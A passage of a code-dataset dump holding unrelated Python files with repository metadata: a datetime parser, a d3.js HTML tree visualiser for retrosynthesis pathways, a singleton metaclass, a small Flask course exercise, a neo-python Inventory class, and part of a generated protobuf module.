] | 4 | 2020-09-23T18:25:32.000Z | 2021-03-22T11:07:32.000Z | msgraph/base.py | jstacoder/python-msgraph | be9a93f4baa2d89c97a8454ab1d31b8e5fdda38e | [
"Apache-2.0"
] | 1 | 2020-09-23T18:28:14.000Z | 2020-09-23T18:28:14.000Z | from datetime import datetime
class Base(object):
date_format = '%Y-%m-%d'
time_format = '%H:%M:%S'
datetime_format = date_format + 'T%s' % time_format
full_datetime_format = date_format + 'T' + time_format + '.%f'
iso_format = date_format + 'T%sZ' % time_format
standard_datetime_format = date_format + ' ' + time_format
extended_datetime_format = date_format + 'T' + time_format +'.%fZ'
@classmethod
def parse_date_time(cls, text):
instance = None
formats = [cls.extended_datetime_format, cls.full_datetime_format, cls.datetime_format, cls.standard_datetime_format, cls.iso_format, cls.date_format]
for format in formats:
try:
instance = datetime.strptime(text, format)
except Exception:
pass
else:
break
return instance
| 35.12 | 158 | 0.633257 | 106 | 878 | 4.95283 | 0.377358 | 0.213333 | 0.152381 | 0.182857 | 0.180952 | 0.133333 | 0.133333 | 0 | 0 | 0 | 0 | 0 | 0.269932 | 878 | 24 | 159 | 36.583333 | 0.819033 | 0 | 0 | 0 | 0 | 0 | 0.037585 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047619 | false | 0.047619 | 0.047619 | 0 | 0.52381 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40d75b3cb34c1d537273d852cc304bd850526e28 | 10,039 | py | Python | utils/visualize_tree.py | moyiming1/Retrosynthesis-pathway-ranking | 380f31189d09395d0de911759b8bcea436b559b2 | [
"MIT"
] | 10 | 2021-02-24T02:31:40.000Z | 2022-02-17T07:58:46.000Z | utils/visualize_tree.py | wangxr0526/Retrosynthesis-pathway-ranking | 380f31189d09395d0de911759b8bcea436b559b2 | [
"MIT"
] | 1 | 2022-02-14T16:13:59.000Z | 2022-02-14T16:13:59.000Z | utils/visualize_tree.py | wangxr0526/Retrosynthesis-pathway-ranking | 380f31189d09395d0de911759b8bcea436b559b2 | [
"MIT"
] | 3 | 2021-01-05T11:43:03.000Z | 2022-02-17T08:52:27.000Z | import os, sys
project_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.append(project_path)
import pickle
def construct_tree_for_visual(tree, node_info_key, depth=0):
tree_for_visual = {'smiles': 'http://askcos.mit.edu/draw/smiles/' + str(tree['smiles']).replace('#', '%23'),
'depth': depth,
'children': []}
if node_info_key in tree.keys():
if type(tree[node_info_key]) is not str:
tree_for_visual['score'] = '{:.3f}'.format(tree[node_info_key])
else:
tree_for_visual['score'] = tree[node_info_key]
else:
tree_for_visual['score'] = ''
if tree['child']:
# tree_for_visual['children'] = []
for child in tree['child']:
tree_for_visual['children'].append(construct_tree_for_visual(child, node_info_key, depth+1))
return tree_for_visual
def construct_tree_for_d3_visualization(tree, depth, new_tree={}, max_children=0):
# if 'is_chemical' in tree.keys():
new_tree['smiles'] = 'http://askcos.mit.edu/draw/smiles/' + str(tree['smiles']).replace('#', '%23')
if 'score' in tree.keys():
new_tree['score'] = str(tree['score'])
else:
new_tree['score'] = ''
# new_tree['smiles'] = str(new_tree['smiles'])
new_tree['children'] = []
if tree['child']:
# print(len(tree['child']))
if max_children < len(tree['child']):
max_children = len(tree['child'])
for child in tree['child']:
new_tree['children'].append({})
_, max_children = construct_tree_for_d3_visualization(child, depth + 1, new_tree['children'][-1], max_children)
return new_tree, max_children
def count_tree_depth_children(tree, count):
count[tree['depth']] += 1
if tree['children']:
for child in tree['children']:
count = count_tree_depth_children(child, count)
return count
def create_tree_html(trees, file_name, tree_info=None, node_info_key='score',
width_factor=1, max_depth=10):
try:
outfile = file_name
except Exception as e:
print(e)
print('Need to specify file name to write results to')
trees_for_visualization = {'name': 'dummy_root', 'children': []}
max_children = 1
for i, tree in enumerate(trees):
output = construct_tree_for_visual(tree, node_info_key)
trees_for_visualization['children'].append(output)
# print()
current_children = max(count_tree_depth_children(output, count=[0]*20))
if current_children > max_children:
max_children = current_children
if tree_info:
# print(tree_info[i])
trees_for_visualization['children'][-1]['_id'] = tree_info[i]
else:
trees_for_visualization['children'][-1]['_id'] = ('T%d' % i)
# print(max_children)
max_children = max(max_children, 3)
height = 300 * len(trees) * max_children / 3 * width_factor
page_width = max_depth * 300
fid_out = open(outfile + '.html', 'w')
fid_out.write('<!DOCTYPE html>\n')
fid_out.write(' <head>\n')
fid_out.write(' <meta charset="utf-8">\n')
fid_out.write(' <title>{}</title>\n'.format(outfile))
fid_out.write(' <style>\n')
fid_out.write(' .node circle {\n')
fid_out.write(' fill: #fff;\n')
fid_out.write(' stroke: steelblue;\n')
fid_out.write(' stroke-width: 3px;\n')
fid_out.write(' }\n')
fid_out.write(' .node rect {\n')
fid_out.write(' fill: #fff;\n')
fid_out.write(' stroke: steelblue;\n')
fid_out.write(' stroke_width: 3px;\n')
fid_out.write(' }\n')
fid_out.write(' .node text { font: 12px sans-serif; }\n')
fid_out.write(' .link {\n')
fid_out.write(' fill: none;\n')
fid_out.write(' stroke: #ccc;\n')
fid_out.write(' stroke-width: 2px;\n')
fid_out.write(' }\n')
fid_out.write(' </style>\n')
fid_out.write(' </head>\n')
fid_out.write(' <body>\n')
fid_out.write('<!-- load the d3.js library --> \n')
fid_out.write('<script src="http://d3js.org/d3.v3.min.js"></script>\n')
fid_out.write('<script>\n')
fid_out.write('var treeData = [\n')
fid_out.write('{}\n'.format(trees_for_visualization))
fid_out.write('];\n')
fid_out.write('var margin = {top: 20, right: 120, bottom: 20, left: 0},\n')
fid_out.write(' width = {} - margin.right - margin.left,\n'.format(page_width))
fid_out.write(' height = {} - margin.top - margin.bottom;\n'.format(height))
fid_out.write('var i = 0;\n')
fid_out.write('var tree = d3.layout.tree()\n')
fid_out.write(' .size([height, width]);\n')
fid_out.write('var diagonal = d3.svg.diagonal()\n')
fid_out.write(' .projection(function(d) { return [d.y, d.x]; });\n')
fid_out.write('var svg = d3.select("body").append("svg")\n')
fid_out.write(' .attr("width", width + margin.right + margin.left)\n')
fid_out.write(' .attr("height", height + margin.top + margin.bottom)\n')
fid_out.write(' .append("g")\n')
fid_out.write(' .attr("transform", \n')
fid_out.write(' "translate(" + margin.left + "," + margin.top + ")");\n')
fid_out.write('root = treeData[0];\n')
fid_out.write('update(root);\n')
fid_out.write('function update(source) {\n')
fid_out.write(' // Compute the new tree layout.\n')
fid_out.write(' var nodes = tree.nodes(root).reverse(),\n')
fid_out.write(' links = tree.links(nodes);\n')
fid_out.write(' // Normalize for fixed-depth.\n')
fid_out.write(' nodes.forEach(function(d) { d.y = d.depth * 250; });\n')
fid_out.write(' // Declare the nodes…\n')
fid_out.write(' var node = svg.selectAll("g.node")\n')
fid_out.write(' .data(nodes, function(d) { return d.id || (d.id = ++i); });\n')
fid_out.write(' // Enter the nodes.\n')
fid_out.write(' var nodeEnter = node.enter().append("g")\n')
fid_out.write(' .attr("class", "node")\n')
fid_out.write(' .attr("transform", function(d) { \n')
fid_out.write(' return "translate(" + d.y + "," + d.x + ")"; });\n')
fid_out.write(' nodeEnter.append("image")\n')
fid_out.write(' .attr("xlink:href", function(d) { return d.smiles; })\n')
fid_out.write(' .attr("x", "-60px")\n')
fid_out.write(' .attr("y", "-60px")\n')
fid_out.write(' .attr("width", "120px")\n')
fid_out.write(' .attr("height", "120px");\n')
fid_out.write(' nodeEnter.append("path")\n')
fid_out.write(' .style("stroke", "black")\n')
fid_out.write(' .style("fill", function(d) { if (d.freq==1) { return "white"; }\n')
fid_out.write(' else if (d.freq==2) { return "yellow";}\n')
fid_out.write(' else if (d.freq==3) { return "orange"; }\n')
fid_out.write(' else if (d.freq>=4) { return "red"; }\n')
fid_out.write(' else {return "white";}\n')
fid_out.write(' })\n')
fid_out.write(' .attr("d", d3.svg.symbol()\n')
fid_out.write(' .size(0)\n')
fid_out.write(' .type(function(d) {if\n')
fid_out.write(' (d.rc_type == "chemical") {return "circle";} else if\n')
fid_out.write(' (d.rc_type == "reaction") {return "cross";}\n')
fid_out.write(' }));\n')
fid_out.write(' nodeEnter.append("text")\n')
fid_out.write(' .attr("x", 0)\n')
fid_out.write(' .attr("y", 35)\n')
fid_out.write(' .attr("text-anchor", function(d) { \n')
fid_out.write(' return d.children || d._children ? "end" : "start"; })\n')
fid_out.write(' .text(function(d) { return d.names; })\n')
fid_out.write(' .style("fill-opacity", 1);\n')
fid_out.write(' nodeEnter.append("text")\n')
fid_out.write(' .attr("x", 200)\n')
fid_out.write(' .attr("y", 120)\n')
fid_out.write(' .attr("text-anchor", function(d) { \n')
fid_out.write(' return d.children || d._children ? "end" : "start"; })\n')
fid_out.write(' .text(function(d) { return d._id; })\n')
fid_out.write(' .style("fill-opacity", 1);\n')
fid_out.write(' nodeEnter.append("text")\n')
fid_out.write(' .attr("x", 0)\n')
fid_out.write(' .attr("y", -30)\n')
fid_out.write(' .attr("text-anchor", function(d) { \n')
fid_out.write(' return d.children || d._children ? "end" : "start"; })\n')
fid_out.write(' .text(function(d) { return d.score; })\n')
fid_out.write(' .style("fill-opacity", 1);\n')
fid_out.write(' // Declare the links…\n')
fid_out.write(' var link = svg.selectAll("path.link")\n')
fid_out.write(' .data(links, function(d) { return d.target.id; });\n')
fid_out.write(' // Enter the links.\n')
fid_out.write(' link.enter().insert("path", "g")\n')
fid_out.write(' .attr("class", "link")\n')
fid_out.write(' .style("stroke", function(d) { return d.target.level; })\n')
fid_out.write(' .attr("d", diagonal);\n')
fid_out.write(' // remove the first level, leaving the targets as the first level\n')
fid_out.write(' node.each(function(d){\n')
fid_out.write(' if (d.name == "dummy_root")\n')
fid_out.write(' d3.select(this).remove();});\n')
fid_out.write(' link.each(function(d){\n')
fid_out.write(' if (d.source.name == "dummy_root") \n')
fid_out.write(' d3.select(this).remove();});\n')
fid_out.write('}\n')
fid_out.write('</script>\n')
fid_out.write(' </body>\n')
fid_out.write('</html>\n')
fid_out.close()
if __name__ == "__main__":
file_name = project_path + '/data/pathway_train_example.pkl'
with open(file_name, 'rb') as f:
data = pickle.load(f)
trees_to_plot = [d['tree'] for d in data['generated_paths'][0:10]]
create_tree_html(trees_to_plot, 'plotted_trees')
| 47.131455 | 123 | 0.574858 | 1,418 | 10,039 | 3.884344 | 0.146685 | 0.132898 | 0.239651 | 0.250545 | 0.576253 | 0.442447 | 0.316086 | 0.293755 | 0.237473 | 0.187001 | 0 | 0.011812 | 0.224126 | 10,039 | 212 | 124 | 47.353774 | 0.694569 | 0.018329 | 0 | 0.169312 | 0 | 0.026455 | 0.442267 | 0.056058 | 0 | 0 | 0 | 0 | 0 | 1 | 0.021164 | false | 0 | 0.010582 | 0 | 0.047619 | 0.010582 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40f24ffc2a5ce750fd7226190ea187a0e43d6f6d | 296 | py | Python | borax/patterns/singleton.py | kinegratii/borax | 3595f554b788c31d0f07be4099db68c854db65f7 | [
"MIT"
] | 51 | 2018-04-18T13:52:15.000Z | 2022-03-23T13:46:02.000Z | borax/patterns/singleton.py | kinegratii/borax | 3595f554b788c31d0f07be4099db68c854db65f7 | [
"MIT"
] | 26 | 2019-05-26T02:22:34.000Z | 2022-03-14T07:50:32.000Z | borax/patterns/singleton.py | kinegratii/borax | 3595f554b788c31d0f07be4099db68c854db65f7 | [
"MIT"
] | 7 | 2018-09-30T08:17:29.000Z | 2020-12-16T01:49:24.000Z | # coding=utf8
class MetaSingleton(type):
def __init__(cls, *args):
type.__init__(cls, *args)
cls.instance = None
def __call__(cls, *args, **kwargs):
if not cls.instance:
cls.instance = type.__call__(cls, *args, **kwargs)
return cls.instance
| 22.769231 | 62 | 0.597973 | 35 | 296 | 4.6 | 0.457143 | 0.173913 | 0.136646 | 0.21118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004651 | 0.273649 | 296 | 12 | 63 | 24.666667 | 0.744186 | 0.037162 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40f5c3fea77f91c61ea3a74c27daae2c26011e43 | 658 | py | Python | Nelson_Alvarez/Assignments/flask_fund/ninja_turtle/turtle.py | webguru001/Python-Django-Web | 6264bc4c90ef1432ba0902c76b567cf3caaae221 | [
"MIT"
] | 5 | 2019-05-17T01:30:02.000Z | 2021-06-17T21:02:58.000Z | Nelson_Alvarez/Assignments/flask_fund/ninja_turtle/turtle.py | curest0x1021/Python-Django-Web | 6264bc4c90ef1432ba0902c76b567cf3caaae221 | [
"MIT"
] | null | null | null | Nelson_Alvarez/Assignments/flask_fund/ninja_turtle/turtle.py | curest0x1021/Python-Django-Web | 6264bc4c90ef1432ba0902c76b567cf3caaae221 | [
"MIT"
] | null | null | null | from flask import Flask
from flask import render_template, redirect, session, request
app = Flask(__name__)
app.secret_key = 'ThisIsSecret'
@app.route('/')
def nothing():
return render_template('index.html')
@app.route('/ninja')
def ninja():
x = 'tmnt'
return render_template('ninjas.html', x=x)
@app.route('/ninja/<any>')
def ninjas_colors_any(any):
ninja_dict = {'blue': 'leonardo', 'red': 'raphael', 'purple': 'donatello', 'orange': 'michelangelo'}
if any in ninja_dict:
x = ninja_dict[any]
return render_template('ninjas.html', x=x)
else:
x= 'notapril'
return render_template('ninjas.html', x=x)
app.run(debug=True) | 22.689655 | 102 | 0.682371 | 91 | 658 | 4.769231 | 0.450549 | 0.16129 | 0.184332 | 0.179724 | 0.235023 | 0.235023 | 0.235023 | 0.16129 | 0 | 0 | 0 | 0 | 0.150456 | 658 | 29 | 103 | 22.689655 | 0.776386 | 0 | 0 | 0.142857 | 0 | 0 | 0.213961 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.095238 | 0.047619 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40f5d8bb4fa97a86898d698a3335896827401fd2 | 941 | py | Python | neo/Network/Inventory.py | BSathvik/neo-python | 90eddde0128f8ba41207d88fd68041682e307315 | [
"MIT"
] | 15 | 2018-02-27T13:07:00.000Z | 2021-01-29T10:27:41.000Z | neo/Network/Inventory.py | BSathvik/neo-python | 90eddde0128f8ba41207d88fd68041682e307315 | [
"MIT"
] | 3 | 2021-03-20T05:43:51.000Z | 2022-02-11T03:47:50.000Z | neo/Network/Inventory.py | BSathvik/neo-python | 90eddde0128f8ba41207d88fd68041682e307315 | [
"MIT"
] | 6 | 2018-07-13T05:00:44.000Z | 2020-10-28T19:41:54.000Z | # -*- coding:utf-8 -*-
"""
Description:
Inventory Class
Usage:
from neo.Network.Inventory import Inventory
"""
from neo.IO.MemoryStream import MemoryStream
from neocore.IO.BinaryWriter import BinaryWriter
class Inventory(object):
"""docstring for Inventory"""
def __init__(self):
"""
Create an instance
"""
super(Inventory, self).__init__()
self.hash = None
def GetHashData(self):
"""
Get the hashable data.
Returns:
bytes:
"""
ms = MemoryStream()
w = BinaryWriter(ms)
self.SerializeUnsigned(w)
ms.flush()
return ms.ToArray()
def GetScriptHashesForVerifying(self):
pass
def Serialize(self, writer):
pass
def SerializeUnsigned(self, writer):
pass
def Deserialize(self, reader):
pass
def DeserializeUnsigned(self, reader):
pass
| 18.82 | 48 | 0.587673 | 90 | 941 | 6.055556 | 0.522222 | 0.051376 | 0.051376 | 0.062385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001543 | 0.311371 | 941 | 49 | 49 | 19.204082 | 0.839506 | 0.208289 | 0 | 0.227273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.318182 | false | 0.227273 | 0.090909 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
40f82a11d157a4c060d3cd0a073c10873cb2a999 | 21,936 | py | Python | src/utils/TensorflowModel_pb2.py | nicolas-ivanov/MimicAndRephrase | 446674e1e6af133618e0e9888c3650c0ce9012e4 | [
"MIT"
] | 12 | 2019-06-17T19:41:35.000Z | 2022-02-17T19:51:45.000Z | src/utils/TensorflowModel_pb2.py | nicolas-ivanov/MimicAndRephrase | 446674e1e6af133618e0e9888c3650c0ce9012e4 | [
"MIT"
] | 1 | 2021-02-23T15:28:32.000Z | 2021-02-23T15:28:32.000Z | src/utils/TensorflowModel_pb2.py | isabella232/MimicAndRephrase | bd29a995b211cb4f7933fa990b0bba1564c22450 | [
"MIT"
] | 3 | 2020-09-07T16:44:11.000Z | 2020-11-14T19:00:05.000Z | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: TensorflowModel.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf.internal import enum_type_wrapper
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='TensorflowModel.proto',
package='ai.eloquent',
syntax='proto3',
serialized_pb=_b('\n\x15TensorflowModel.proto\x12\x0b\x61i.eloquent\"\x8f\x01\n\x0fTensorflowModel\x12\x18\n\x10serialized_graph\x18\x01 \x01(\x0c\x12.\n\x0ctoken_mapper\x18\x02 \x01(\x0b\x32\x18.ai.eloquent.TokenMapper\x12\x16\n\x0etrain_set_size\x18\x04 \x01(\x03\x12\x1a\n\x12train_set_positive\x18\x05 \x01(\x03\"\x80\x01\n\x0cTokenMapping\x12+\n\x04type\x18\x01 \x01(\x0e\x32\x1d.ai.eloquent.TokenMappingType\x12\r\n\x05regex\x18\x02 \x01(\t\x12\x10\n\x08num_hash\x18\x03 \x01(\x05\x12\x12\n\ndebug_base\x18\x04 \x01(\t\x12\x0e\n\x06tokens\x18\x05 \x03(\t\"\x9d\x01\n\x0bTokenMapper\x12\x30\n\rtoken_mapping\x18\x01 \x03(\x0b\x32\x19.ai.eloquent.TokenMapping\x12.\n\x0bunk_mapping\x18\x02 \x03(\x0b\x32\x19.ai.eloquent.TokenMapping\x12,\n\x07vectors\x18\x03 \x03(\x0b\x32\x1b.ai.eloquent.TunedEmbedding\"\x1f\n\x0eTunedEmbedding\x12\r\n\x05value\x18\x01 \x03(\x02\"\xf0\x03\n\x1aTensorflowModelPerformance\x12\x0f\n\x07\x64\x65v_set\x18\x01 \x03(\t\x12\x0f\n\x07version\x18\x02 \x01(\x03\x12\x17\n\x0f\x64\x65v_set_version\x18\x03 \x01(\x03\x12\x16\n\x0etrain_set_size\x18\x04 \x01(\x03\x12\x1d\n\x15train_set_total_votes\x18\x05 \x01(\x03\x12\x14\n\x0c\x64\x65v_set_size\x18\x06 \x01(\x03\x12\x1b\n\x13\x64\x65v_set_total_votes\x18\x07 \x01(\x03\x12\x12\n\nbest_epoch\x18\x08 \x01(\x05\x12\x0f\n\x07\x64ropout\x18\t \x01(\x02\x12\x13\n\x0brandom_seed\x18\n \x01(\x05\x12\x12\n\nhidden_dim\x18\x0b \x01(\x05\x12\x15\n\rtrue_positive\x18\x0c \x01(\x03\x12\x16\n\x0e\x66\x61lse_positive\x18\r \x01(\x03\x12\x16\n\x0e\x66\x61lse_negative\x18\x0e \x01(\x03\x12\x15\n\rtrue_negative\x18\x0f \x01(\x03\x12\x11\n\tprecision\x18\x10 \x01(\x02\x12\x0e\n\x06recall\x18\x11 \x01(\x02\x12\n\n\x02\x66\x31\x18\x12 \x01(\x02\x12\x10\n\x08\x61\x63\x63uracy\x18\x13 \x01(\x02\x12@\n\x08\x65xamples\x18\x14 \x03(\x0b\x32..ai.eloquent.TensorflowModelPerformanceExample\"S\n!TensorflowModelPerformanceExample\x12\r\n\x05input\x18\x01 \x03(\t\x12\x0f\n\x07guesses\x18\x02 \x03(\x02\x12\x0e\n\x06labels\x18\x03 \x03(\x05*2\n\x10TokenMappingType\x12\t\n\x05REGEX\x10\x00\x12\x08\n\x04HASH\x10\x01\x12\t\n\x05TOKEN\x10\x02\x42)\n\x10\x61i.eloquent.dataB\x15TensorflowModelProtosb\x06proto3')
)
_TOKENMAPPINGTYPE = _descriptor.EnumDescriptor(
name='TokenMappingType',
full_name='ai.eloquent.TokenMappingType',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='REGEX', index=0, number=0,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='HASH', index=1, number=1,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='TOKEN', index=2, number=2,
options=None,
type=None),
],
containing_type=None,
options=None,
serialized_start=1092,
serialized_end=1142,
)
_sym_db.RegisterEnumDescriptor(_TOKENMAPPINGTYPE)
TokenMappingType = enum_type_wrapper.EnumTypeWrapper(_TOKENMAPPINGTYPE)
REGEX = 0
HASH = 1
TOKEN = 2
_TENSORFLOWMODEL = _descriptor.Descriptor(
name='TensorflowModel',
full_name='ai.eloquent.TensorflowModel',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='serialized_graph', full_name='ai.eloquent.TensorflowModel.serialized_graph', index=0,
number=1, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=_b(""),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='token_mapper', full_name='ai.eloquent.TensorflowModel.token_mapper', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='train_set_size', full_name='ai.eloquent.TensorflowModel.train_set_size', index=2,
number=4, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='train_set_positive', full_name='ai.eloquent.TensorflowModel.train_set_positive', index=3,
number=5, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=39,
serialized_end=182,
)
_TOKENMAPPING = _descriptor.Descriptor(
name='TokenMapping',
full_name='ai.eloquent.TokenMapping',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='type', full_name='ai.eloquent.TokenMapping.type', index=0,
number=1, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='regex', full_name='ai.eloquent.TokenMapping.regex', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='num_hash', full_name='ai.eloquent.TokenMapping.num_hash', index=2,
number=3, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='debug_base', full_name='ai.eloquent.TokenMapping.debug_base', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='tokens', full_name='ai.eloquent.TokenMapping.tokens', index=4,
number=5, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=185,
serialized_end=313,
)
_TOKENMAPPER = _descriptor.Descriptor(
name='TokenMapper',
full_name='ai.eloquent.TokenMapper',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='token_mapping', full_name='ai.eloquent.TokenMapper.token_mapping', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='unk_mapping', full_name='ai.eloquent.TokenMapper.unk_mapping', index=1,
number=2, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='vectors', full_name='ai.eloquent.TokenMapper.vectors', index=2,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=316,
serialized_end=473,
)
_TUNEDEMBEDDING = _descriptor.Descriptor(
name='TunedEmbedding',
full_name='ai.eloquent.TunedEmbedding',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='value', full_name='ai.eloquent.TunedEmbedding.value', index=0,
number=1, type=2, cpp_type=6, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=475,
serialized_end=506,
)
_TENSORFLOWMODELPERFORMANCE = _descriptor.Descriptor(
name='TensorflowModelPerformance',
full_name='ai.eloquent.TensorflowModelPerformance',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='dev_set', full_name='ai.eloquent.TensorflowModelPerformance.dev_set', index=0,
number=1, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='version', full_name='ai.eloquent.TensorflowModelPerformance.version', index=1,
number=2, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='dev_set_version', full_name='ai.eloquent.TensorflowModelPerformance.dev_set_version', index=2,
number=3, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='train_set_size', full_name='ai.eloquent.TensorflowModelPerformance.train_set_size', index=3,
number=4, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='train_set_total_votes', full_name='ai.eloquent.TensorflowModelPerformance.train_set_total_votes', index=4,
number=5, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='dev_set_size', full_name='ai.eloquent.TensorflowModelPerformance.dev_set_size', index=5,
number=6, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='dev_set_total_votes', full_name='ai.eloquent.TensorflowModelPerformance.dev_set_total_votes', index=6,
number=7, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='best_epoch', full_name='ai.eloquent.TensorflowModelPerformance.best_epoch', index=7,
number=8, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='dropout', full_name='ai.eloquent.TensorflowModelPerformance.dropout', index=8,
number=9, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
